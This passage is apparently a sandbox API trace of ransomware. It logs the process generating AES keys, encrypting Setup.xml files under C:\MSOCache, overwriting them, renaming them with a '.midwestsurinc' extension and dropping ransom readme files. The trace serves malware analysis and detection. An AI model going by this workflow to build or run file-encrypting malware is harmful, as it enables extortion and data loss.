ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1 [0087.873] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.873] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0087.873] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0087.873] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0087.873] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0087.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.874] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1 [0087.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0087.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0087.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.874] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1 [0087.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.874] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0087.875] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf00db300, dwHighDateTime=0x1d301be)) returned 1 [0087.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.875] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0087.875] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0087.875] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.875] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.875] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.875] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0087.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1080) returned 0x1800818 [0087.875] ReadFile (in: hFile=0x2e8, lpBuffer=0x1800818, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1800818*, lpNumberOfBytesRead=0x174fb28*=0x106f, lpOverlapped=0x0) returned 1 [0087.877] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1080) returned 0x181caa8 [0087.877] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1800818) returned 1 [0087.877] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1080) returned 0x1800818 [0087.877] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181caa8) returned 1 [0087.877] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1480) returned 0x181caa8 [0087.877] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181caa8*, pdwDataLen=0x174fb24*=0x106f, dwBufLen=0x146f | out: pbData=0x181caa8*, pdwDataLen=0x174fb24*=0x1070) returned 1 [0087.877] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181caa8) returned 1 [0087.877] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.877] WriteFile (in: hFile=0x2e8, lpBuffer=0x1800818*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1800818*, lpNumberOfBytesWritten=0x174fb28*=0x106f, lpOverlapped=0x0) returned 1 [0087.878] FlushFileBuffers (hFile=0x2e8) returned 1 [0087.880] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.881] NtClose (Handle=0x2e8) returned 0x0 [0087.881] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0087.882] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0087.882] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0087.882] GetLastError () returned 0x2 [0087.882] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86130, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0087.882] GetLastError () returned 0x2 [0087.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.883] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.883] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0087.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x7) returned 0xf7d278 [0087.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0087.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0087.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0087.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x18018a0 [0087.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0087.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18018a0) returned 1 [0087.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x18018a0 [0087.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.884] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.884] WriteFile (in: hFile=0x2e8, lpBuffer=0x18018a0*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x18018a0*, lpNumberOfBytesWritten=0x174fb28*=0x2e5, lpOverlapped=0x0) returned 1 [0087.884] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x53b070f0, dwHighDateTime=0x1d5dff7)) returned 1 [0087.884] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.884] NtClose (Handle=0x2e8) returned 0x0 [0087.885] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18018a0) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1800818) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0087.885] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0087.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0087.885] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.885] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1 [0087.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0087.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0087.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0087.886] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0087.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.886] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1 [0087.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0087.886] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0087.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.887] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1 [0087.887] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.887] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0087.887] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfe076d70, dwHighDateTime=0x1d301be)) returned 1 [0087.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.887] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0087.887] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0087.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.887] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.888] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.888] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0087.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x980) returned 0x181a060 [0087.888] ReadFile (in: hFile=0x2e8, lpBuffer=0x181a060, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181a060*, lpNumberOfBytesRead=0x174fb28*=0x978, lpOverlapped=0x0) returned 1 [0087.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x980) returned 0x184fc80 [0087.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0087.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x980) returned 0x181a060 [0087.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184fc80) returned 1 [0087.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd80) returned 0x1800818 [0087.890] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1800818*, pdwDataLen=0x174fb24*=0x978, dwBufLen=0xd78 | out: pbData=0x1800818*, pdwDataLen=0x174fb24*=0x980) returned 1 [0087.890] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1800818) returned 1 [0087.890] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.890] WriteFile (in: hFile=0x2e8, lpBuffer=0x181a060*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x181a060*, lpNumberOfBytesWritten=0x174fb28*=0x978, lpOverlapped=0x0) returned 1 [0087.890] FlushFileBuffers (hFile=0x2e8) returned 1 [0087.893] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.893] NtClose (Handle=0x2e8) returned 0x0 [0087.894] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0087.896] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0087.896] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0087.897] GetLastError () returned 0x2 [0087.897] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86150, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0087.897] GetLastError () returned 0x2 [0087.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.897] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.897] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0087.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf) returned 0xf7d630 [0087.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0087.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0087.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0087.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0087.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.898] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0087.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0087.898] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2ed, lpOverlapped=0x0) returned 1 [0087.899] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x53b2d250, dwHighDateTime=0x1d5dff7)) returned 1 [0087.899] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.899] NtClose (Handle=0x2e8) returned 0x0 [0087.899] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0087.900] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0087.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.900] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All 